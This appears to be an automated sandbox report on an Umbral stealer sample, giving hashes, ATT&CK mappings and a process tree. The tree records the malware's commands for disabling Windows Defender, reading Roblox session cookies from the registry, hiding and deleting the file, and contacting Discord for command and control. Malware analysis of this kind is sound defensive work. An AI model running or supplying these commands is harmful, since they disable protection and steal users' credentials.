umbral | 18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922

Analysis

max time kernel
25s
max time network
28s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05-09-2024 01:50

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General

Target

18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe
Size

231KB
MD5

2e5358fcd0403cf1c6dd36a32952d9ea
SHA1

cb03dcf965d79b39657643469b6bbdec205c0a22
SHA256

18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922
SHA512

0bc336ebad20497f6d8a89db417106ae0f306bd34588e1118b6d82b1da63890ab7ef35b646d259ac78d7c92bc3fcf87d96596f9c61de31910c7d2c4a3ebfaaac
SSDEEP

6144:xloZMarIkd8g+EtXHkv/iD4kNJe5nsAvEOXZkQlzIb8e1m2P7Ai:DoZhL+EP8kNJe5nsAvEOXZkQlE57Z

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/280-1-0x0000000000C70000-0x0000000000CB0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2972	powershell.exe
2716	powershell.exe
2920	powershell.exe
2844	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe

Deletes itself 1 IoCs

pid	Process
1136	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1136	cmd.exe
968	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2176	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
968	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe
2972	powershell.exe
2716	powershell.exe
2920	powershell.exe
1328	powershell.exe
2844	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe
Token: SeIncreaseQuotaPrivilege	2756	wmic.exe
Token: SeSecurityPrivilege	2756	wmic.exe
Token: SeTakeOwnershipPrivilege	2756	wmic.exe
Token: SeLoadDriverPrivilege	2756	wmic.exe
Token: SeSystemProfilePrivilege	2756	wmic.exe
Token: SeSystemtimePrivilege	2756	wmic.exe
Token: SeProfSingleProcessPrivilege	2756	wmic.exe
Token: SeIncBasePriorityPrivilege	2756	wmic.exe
Token: SeCreatePagefilePrivilege	2756	wmic.exe
Token: SeBackupPrivilege	2756	wmic.exe
Token: SeRestorePrivilege	2756	wmic.exe
Token: SeShutdownPrivilege	2756	wmic.exe
Token: SeDebugPrivilege	2756	wmic.exe
Token: SeSystemEnvironmentPrivilege	2756	wmic.exe
Token: SeRemoteShutdownPrivilege	2756	wmic.exe
Token: SeUndockPrivilege	2756	wmic.exe
Token: SeManageVolumePrivilege	2756	wmic.exe
Token: 33	2756	wmic.exe
Token: 34	2756	wmic.exe
Token: 35	2756	wmic.exe
Token: SeIncreaseQuotaPrivilege	2756	wmic.exe
Token: SeSecurityPrivilege	2756	wmic.exe
Token: SeTakeOwnershipPrivilege	2756	wmic.exe
Token: SeLoadDriverPrivilege	2756	wmic.exe
Token: SeSystemProfilePrivilege	2756	wmic.exe
Token: SeSystemtimePrivilege	2756	wmic.exe
Token: SeProfSingleProcessPrivilege	2756	wmic.exe
Token: SeIncBasePriorityPrivilege	2756	wmic.exe
Token: SeCreatePagefilePrivilege	2756	wmic.exe
Token: SeBackupPrivilege	2756	wmic.exe
Token: SeRestorePrivilege	2756	wmic.exe
Token: SeShutdownPrivilege	2756	wmic.exe
Token: SeDebugPrivilege	2756	wmic.exe
Token: SeSystemEnvironmentPrivilege	2756	wmic.exe
Token: SeRemoteShutdownPrivilege	2756	wmic.exe
Token: SeUndockPrivilege	2756	wmic.exe
Token: SeManageVolumePrivilege	2756	wmic.exe
Token: 33	2756	wmic.exe
Token: 34	2756	wmic.exe
Token: 35	2756	wmic.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeIncreaseQuotaPrivilege	1680	wmic.exe
Token: SeSecurityPrivilege	1680	wmic.exe
Token: SeTakeOwnershipPrivilege	1680	wmic.exe
Token: SeLoadDriverPrivilege	1680	wmic.exe
Token: SeSystemProfilePrivilege	1680	wmic.exe
Token: SeSystemtimePrivilege	1680	wmic.exe
Token: SeProfSingleProcessPrivilege	1680	wmic.exe
Token: SeIncBasePriorityPrivilege	1680	wmic.exe
Token: SeCreatePagefilePrivilege	1680	wmic.exe
Token: SeBackupPrivilege	1680	wmic.exe
Token: SeRestorePrivilege	1680	wmic.exe
Token: SeShutdownPrivilege	1680	wmic.exe
Token: SeDebugPrivilege	1680	wmic.exe
Token: SeSystemEnvironmentPrivilege	1680	wmic.exe
Token: SeRemoteShutdownPrivilege	1680	wmic.exe
Token: SeUndockPrivilege	1680	wmic.exe
Token: SeManageVolumePrivilege	1680	wmic.exe
Token: 33	1680	wmic.exe
Token: 34	1680	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 280 wrote to memory of 2756	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	29
PID 280 wrote to memory of 2756	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	29
PID 280 wrote to memory of 2756	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	29
PID 280 wrote to memory of 2940	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	32
PID 280 wrote to memory of 2940	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	32
PID 280 wrote to memory of 2940	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	32
PID 280 wrote to memory of 2972	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	34
PID 280 wrote to memory of 2972	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	34
PID 280 wrote to memory of 2972	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	34
PID 280 wrote to memory of 2716	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	36
PID 280 wrote to memory of 2716	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	36
PID 280 wrote to memory of 2716	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	36
PID 280 wrote to memory of 2920	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	38
PID 280 wrote to memory of 2920	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	38
PID 280 wrote to memory of 2920	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	38
PID 280 wrote to memory of 1328	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	40
PID 280 wrote to memory of 1328	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	40
PID 280 wrote to memory of 1328	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	40
PID 280 wrote to memory of 1680	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	42
PID 280 wrote to memory of 1680	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	42
PID 280 wrote to memory of 1680	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	42
PID 280 wrote to memory of 2840	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	44
PID 280 wrote to memory of 2840	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	44
PID 280 wrote to memory of 2840	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	44
PID 280 wrote to memory of 940	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	46
PID 280 wrote to memory of 940	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	46
PID 280 wrote to memory of 940	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	46
PID 280 wrote to memory of 2844	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	48
PID 280 wrote to memory of 2844	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	48
PID 280 wrote to memory of 2844	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	48
PID 280 wrote to memory of 2176	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	50
PID 280 wrote to memory of 2176	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	50
PID 280 wrote to memory of 2176	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	50
PID 280 wrote to memory of 1136	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	52
PID 280 wrote to memory of 1136	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	52
PID 280 wrote to memory of 1136	280	18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe	52
PID 1136 wrote to memory of 968	1136	cmd.exe	54
PID 1136 wrote to memory of 968	1136	cmd.exe	54
PID 1136 wrote to memory of 968	1136	cmd.exe	54

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2940	attrib.exe

C:\Users\Admin\AppData\Local\Temp\18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe
"C:\Users\Admin\AppData\Local\Temp\18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:280
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe"
  2⤵
  - Views/modifies file attributes
  PID:2940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1328
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2840
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2844
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2176
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\18448b3f95efc450d3183f547c3b3f74d645911e3e198895a429d1cd02080922.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1136
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
68a39ac70556c59c07fb806ba61c7bae

SHA1
cb570cd5c7f8dfd1c6c678cb3b6b97ea8bd137ea

SHA256
649a9010788b33df6f91070cc64d29fcdd365ad2e788b473856783189fc6a0fa

SHA512
250b901ef919312362e1b32a76b2877502da3d1e54cc43c6b8816c2b4e626b0c3487cfbaed027e113d46e73c4e1f280692afeb5b9ecefbdeb65c41fb9b7cb244

Download Submit
memory/280-17-0x000007FEF6360000-0x000007FEF6D4C000-memory.dmp

Filesize
9.9MB

Download
memory/280-9-0x000007FEF6363000-0x000007FEF6364000-memory.dmp

Filesize
4KB

Download
memory/280-2-0x000007FEF6360000-0x000007FEF6D4C000-memory.dmp

Filesize
9.9MB

Download
memory/280-0-0x000007FEF6363000-0x000007FEF6364000-memory.dmp

Filesize
4KB

Download
memory/280-1-0x0000000000C70000-0x0000000000CB0000-memory.dmp

Filesize
256KB

Download
memory/280-47-0x000007FEF6360000-0x000007FEF6D4C000-memory.dmp

Filesize
9.9MB

Download
memory/2716-15-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/2716-16-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2844-43-0x000000001B420000-0x000000001B702000-memory.dmp

Filesize
2.9MB

Download
memory/2844-44-0x00000000023B0000-0x00000000023B8000-memory.dmp

Filesize
32KB

Download
memory/2972-7-0x000000001B470000-0x000000001B752000-memory.dmp

Filesize
2.9MB

Download
memory/2972-8-0x0000000001E50000-0x0000000001E58000-memory.dmp

Filesize
32KB

Download